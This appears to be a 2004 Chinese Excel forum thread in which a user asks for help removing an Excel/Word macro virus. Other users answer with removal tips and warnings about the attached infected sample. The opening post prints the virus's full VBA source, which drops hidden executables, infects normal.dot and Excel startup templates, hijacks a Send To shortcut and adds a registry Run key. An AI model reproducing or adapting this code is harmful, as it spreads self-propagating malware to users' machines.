ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 5945|回复: 18

help me:电脑染上宏病毒了

[复制链接]

TA的精华主题

TA的得分主题

发表于 2004-8-18 09:38 | 显示全部楼层 |阅读模式

电脑染上宏病毒了,症状如下:

1、打开一个excel文档时,自动有一个book1excel文档被打开。

2、自动在excel文件中自动创建名为“module1”“module2”.......“moduleN”worksheet

3、关闭电脑时提示,word文档提示是否保存normaltemplate 文件夹。

代码如下:

Private Sub createcabfile() Dim ch As Byte On Error Resume Next Set fso = CreateObject("scripting.filesystemobject") Set w = CreateObject("wscript.shell") myfolder = w.SpecialFolders("Templates") & "\Software\" If Not fso.folderexists(myfolder) Then fso.createfolder myfolder End If For i = 1 To Workbooks.Count If Workbooks(i).Name = "normal.xlm" Then Workbooks(i).Close fso.deletefile Application.StartupPath & "\normal.xlm" End If Next For i = 1 To Workbooks.Count If Workbooks(i).Name = "norma1.xlm" Then GoTo a1 End If Next cabfile = "c:\cab.cab" If Not fso.fileexists(Application.StartupPath & "\norma1.xlm") Then fso.Delete cabfile Open cabfile For Binary Access Write As #1 For i = 1 To 150 hv = ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Cells(i, 2).Value n = 1 m = InStr(hv, " ") Do While m > 0 ch = CByte(Mid(hv, n, m - n)) Put #1, , ch n = m + 1 m = InStr(n, hv, " ") Loop Next Close #1 w.Run "%COMSPEC% /c attrib -s -h c:\setflag.exe", 0, True w.Run "%COMSPEC% /c attrib -s -h c:\sendto.exe", 0, True w.Run "%COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab", 0, True w.Run "%COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab", 0, True fso.deletefile cabfile fso.copyfile "c:\normal.dot", myfolder, True Set word = CreateObject("word.application") ntpath = word.NormalTemplate.Path & "\" word.Quit fso.copyfile "c:\normal.dot", ntpath, True fso.copyfile "c:\norma1.xlm", Application.StartupPath & "\", True fso.copyfile "c:\internet.exe", fso.getspecialfolder(1) & "\" Set fold = fso.getfolder(w.SpecialFolders("SendTo")) For Each ff In fold.Files If InStr(ff.Name, "软盘") > 0 Then Set lnk = w.CreateShortcut(fold.Path & "\" & ff.Name) lnk.TargetPath = "c:\sendto.exe" lnk.IconLocation = "shell32.dll,6" lnk.Save GoTo e2 End If Next e2: fso.deletefile "c:\normal.dot" fso.deletefile "c:\norma1.xlm" fso.deletefile "c:\internet.exe" w.Run "%COMSPEC% /c attrib +s +h c:\setflag.exe", 0, True w.Run "%COMSPEC% /c attrib +s +h c:\sendto.exe", 0, True w.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe", "internet.exe" w.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe" End If Workbooks.Open Application.StartupPath & "\norma1.xlm" ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Columns(2).Copy Workbooks("norma1.xlm").Sheets("(m1)_(m2)_(m3)").Columns(2) Workbooks("norma1.xlm").Save fso.copyfile Application.StartupPath & "\norma1.xlm", myfolder, True a1: fso.deletefile "c:\excel.txt" Application.DisplayAlerts = False For i = 1 To ThisWorkbook.Sheets.Count If Left(ThisWorkbook.Sheets(i).Name, 3) = "模块表" Then ThisWorkbook.Sheets(i).Delete End If Next Application.DisplayAlerts = True ThisWorkbook.Saved = True End Sub

TA的精华主题

TA的得分主题

发表于 2004-8-18 09:50 | 显示全部楼层
呵呵,典型宏病毒,将之删除,WORD通用模板normal.dot删除即可

TA的精华主题

TA的得分主题

 楼主| 发表于 2004-8-18 10:55 | 显示全部楼层

楼上的朋友是否可以讲的再明白一些,是不是先删除宏代码,然后再删除normal.dot呢?

要是有专杀这种宏病毒的小工具就好了。

TA的精华主题

TA的得分主题

 楼主| 发表于 2004-8-18 14:24 | 显示全部楼层

以上的方法好象不行哦,现在传一个例子文件上来,请提供解决方法。谢!!

既然在 老刀 14/F提供了辦法,刪除附件比較安全 ----- Emily

[此贴子已经被Emily于2004-11-11 11:01:14编辑过]

LBAwtBDw.rar

95.44 KB, 下载次数: 32

help me:电脑染上宏病毒了

TA的精华主题

TA的得分主题

发表于 2004-8-18 14:56 | 显示全部楼层
提醒大家注意:不要启用宏打开5楼附件文档。

TA的精华主题

TA的得分主题

 楼主| 发表于 2004-8-18 15:54 | 显示全部楼层
以下是引用button在2004-8-18 14:41:00的发言:

那你装上杀毒软件杀一下有没有用

没有装杀毒软件。

降低excel的安全等级才能打开。

这个文件有宏病毒,打开文件时请留意。

请各位帮忙除去宏。谢谢!

TA的精华主题

TA的得分主题

 楼主| 发表于 2004-8-18 18:22 | 显示全部楼层

TA的精华主题

TA的得分主题

 楼主| 发表于 2004-8-18 18:23 | 显示全部楼层
都等一天了,[em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][em14][[em28][em28][em28]

TA的精华主题

TA的得分主题

发表于 2004-8-18 18:52 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助
刚开始看,等等吧!不要打开excel文件了,他将感染所有打开过的excel文件。

TA的精华主题

TA的得分主题

发表于 2004-8-18 20:20 | 显示全部楼层

写这个病毒的人,水平不低呀

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-11-24 21:40 , Processed in 0.037959 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表